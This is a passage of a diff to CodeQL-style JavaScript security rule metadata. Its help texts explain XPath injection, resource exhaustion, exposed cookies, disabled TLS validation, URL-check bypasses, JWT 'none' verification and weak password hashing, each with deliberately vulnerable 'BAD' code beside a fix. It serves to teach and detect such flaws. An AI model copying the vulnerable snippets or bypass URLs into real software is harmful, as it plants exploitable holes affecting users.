require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n" + "text" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // BAD: Use user-provided data directly in an XPath expression\n let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n badXPathExpr.select({\n node: root\n });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // GOOD: Embed user-provided data using variables\n let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n goodXPathExpr.select({\n node: root,\n variables: { userName: userName }\n });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n", + "markdown" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // BAD: Use user-provided data directly in an XPath expression\n let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n badXPathExpr.select({\n node: root\n });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // GOOD: Embed user-provided data using variables\n let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n goodXPathExpr.select({\n node: root,\n variables: { userName: userName }\n });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-400", "external/cwe/cwe-770" ], - "description" : "Allocating objects or timers with user-controlled\n sizes or durations can cause resource exhaustion.", - "id" : "js/resource-exhaustion", + "tags" : [ "security", "external/cwe/cwe-643" ], + "description" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of\n malicious code by the user.", + "id" : "js/xpath-injection", "kind" : "path-problem", - "name" : "Resource exhaustion", + "name" : "XPath injection", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.5" + "problem.severity" : "error", + "security-severity" : "9.8" } }, { - "id" : "js/client-exposed-cookie", - "name" : "js/client-exposed-cookie", + "id" : "js/useless-regexp-character-escape", + "name" : "js/useless-regexp-character-escape", "shortDescription" : { - "text" : "Sensitive server cookie exposed to the client" + "text" : "Useless regular-expression character escape" }, "fullDescription" : { - "text" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set." + "text" : "Prepending a backslash to an ordinary character in a string does not have any effect, and may make regular expressions constructed from this string behave unexpectedly." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n", - "markdown" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n" + "text" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-1004" ], - "description" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set.", - "id" : "js/client-exposed-cookie", + "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], + "description" : "Prepending a backslash to an ordinary character in a string\n does not have any effect, and may make regular expressions constructed from this string\n behave unexpectedly.", + "id" : "js/useless-regexp-character-escape", "kind" : "problem", - "name" : "Sensitive server cookie exposed to the client", + "name" : "Useless regular-expression character escape", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "5.0" + "problem.severity" : "error", + "security-severity" : "7.8" } }, { - "id" : "js/disabling-certificate-validation", - "name" : "js/disabling-certificate-validation", + "id" : "js/incomplete-url-substring-sanitization", + "name" : "js/incomplete-url-substring-sanitization", "shortDescription" : { - "text" : "Disabling certificate validation" + "text" : "Incomplete URL substring sanitization" }, "fullDescription" : { - "text" : "Disabling cryptographic certificate validation can cause security vulnerabilities." + "text" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n {\n hostname: \"secure.my-online-bank.com\",\n port: 443,\n method: \"POST\",\n path: \"send-confidential-information\",\n rejectUnauthorized: false // BAD\n },\n response => {\n // ... communicate with secure.my-online-bank.com\n }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n", - "markdown" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n {\n hostname: \"secure.my-online-bank.com\",\n port: 443,\n method: \"POST\",\n path: \"send-confidential-information\",\n rejectUnauthorized: false // BAD\n },\n response => {\n // ... communicate with secure.my-online-bank.com\n }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n" + "text" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.includes(\"example.com\")) {\n res.redirect(url);\n }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param(\"url\"),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n if (host.includes(\"example.com\")) {\n res.redirect(url);\n }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // GOOD: the host of `url` can not be controlled by an attacker\n let allowedHosts = [\n 'example.com',\n 'beta.example.com',\n 'www.example.com'\n ];\n if (allowedHosts.includes(host)) {\n res.redirect(url);\n }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.includes(\"example.com\")) {\n res.redirect(url);\n }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param(\"url\"),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n if (host.includes(\"example.com\")) {\n res.redirect(url);\n }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // GOOD: the host of `url` can not be controlled by an attacker\n let allowedHosts = [\n 'example.com',\n 'beta.example.com',\n 'www.example.com'\n ];\n if (allowedHosts.includes(host)) {\n res.redirect(url);\n }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-295", "external/cwe/cwe-297" ], - "description" : "Disabling cryptographic certificate validation can cause security vulnerabilities.", - "id" : "js/disabling-certificate-validation", + "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], + "description" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing.", + "id" : "js/incomplete-url-substring-sanitization", "kind" : "problem", - "name" : "Disabling certificate validation", - "precision" : "very-high", - "problem.severity" : "error", - "security-severity" : "7.5" + "name" : "Incomplete URL substring sanitization", + "precision" : "high", + "problem.severity" : "warning", + "security-severity" : "7.8" } }, { - "id" : "js/jwt-missing-verification", - "name" : "js/jwt-missing-verification", + "id" : "js/incomplete-hostname-regexp", + "name" : "js/incomplete-hostname-regexp", "shortDescription" : { - "text" : "JWT missing secret or public key verification" + "text" : "Incomplete regular expression for hostnames" }, "fullDescription" : { - "text" : "The application does not verify the JWT payload with a cryptographic secret or public key." + "text" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n", - "markdown" : "# JWT missing secret or public key verification\nApplications decoding JSON Web Tokens (JWT) may be misconfigured due to the `None` algorithm.\n\nThe `None` algorithm is selected by calling the `verify()` function with a falsy value instead of a cryptographic secret or key. The `None` algorithm disables the integrity enforcement of a JWT payload and may allow a malicious actor to make unintended changes to a JWT payload leading to critical security issues like privilege escalation.\n\n\n## Recommendation\nCalls to `verify()` functions should use a cryptographic secret or key to decode JWT payloads.\n\n\n## Example\nIn the example below, `false` is used to disable the integrity enforcement of a JWT payload. This may allow a malicious actor to make changes to a JWT payload.\n\n\n```javascript\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"none\" })\njwt.verify(token, false, { algorithms: [\"HS256\", \"none\"] })\n```\nThe following code fixes the problem by using a cryptographic secret or key to decode JWT payloads.\n\n\n```javascript\n\nconst jwt = require(\"jsonwebtoken\");\n\nconst secret = \"my-secret-key\";\n\nvar token = jwt.sign({ foo: 'bar' }, secret, { algorithm: \"HS256\" }) \njwt.verify(token, secret, { algorithms: [\"HS256\", \"none\"] })\n```\n\n## References\n* Auth0 Blog: [Meet the \"None\" Algorithm](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm).\n* Common Weakness Enumeration: [CWE-347](https://cwe.mitre.org/data/definitions/347.html).\n" + "text" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n let regex = /^((www|beta).)?example.com/;\n if (host.match(regex)) {\n res.redirect(url);\n }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", + "markdown" : "# Incomplete regular expression for hostnames\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nIf a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds.\n\n\n## Recommendation\nEscape all meta-characters appropriately when constructing regular expressions for security checks, and pay special attention to the `.` meta-character.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n let url = req.param('url'),\n host = urlLib.parse(url).host;\n // BAD: the host of `url` may be controlled by an attacker\n let regex = /^((www|beta).)?example.com/;\n if (host.match(regex)) {\n res.redirect(url);\n }\n});\n\n```\nThe check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`.\n\nAddress this vulnerability by escaping `.` appropriately: `let regex = /^((www|beta)\\.)?example\\.com/`.\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-347" ], - "description" : "The application does not verify the JWT payload with a cryptographic secret or public key.", - "id" : "js/jwt-missing-verification", + "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], + "description" : "Matching a URL or hostname against a regular expression that contains an unescaped dot as part of the hostname might match more hostnames than expected.", + "id" : "js/incomplete-hostname-regexp", "kind" : "problem", - "name" : "JWT missing secret or public key verification", + "name" : "Incomplete regular expression for hostnames", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.0" + "security-severity" : "7.8" } }, { - "id" : "js/insufficient-password-hash", - "name" : "js/insufficient-password-hash", + "id" : "js/overly-large-range", + "name" : "js/overly-large-range", "shortDescription" : { - "text" : "Use of password hash with insufficient computational effort" + "text" : "Overly permissive regular expression range" }, "fullDescription" : { - "text" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks." + "text" : "Overly permissive regular expression ranges match a wider range of characters than intended. This may allow an attacker to bypass a filter or sanitizer." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n var hasher = crypto.createHash('md5');\n var hashed = hasher.update(password).digest(\"hex\"); // BAD\n return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n var hashed = bcrypt.hashSync(password, salt); // GOOD\n return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: 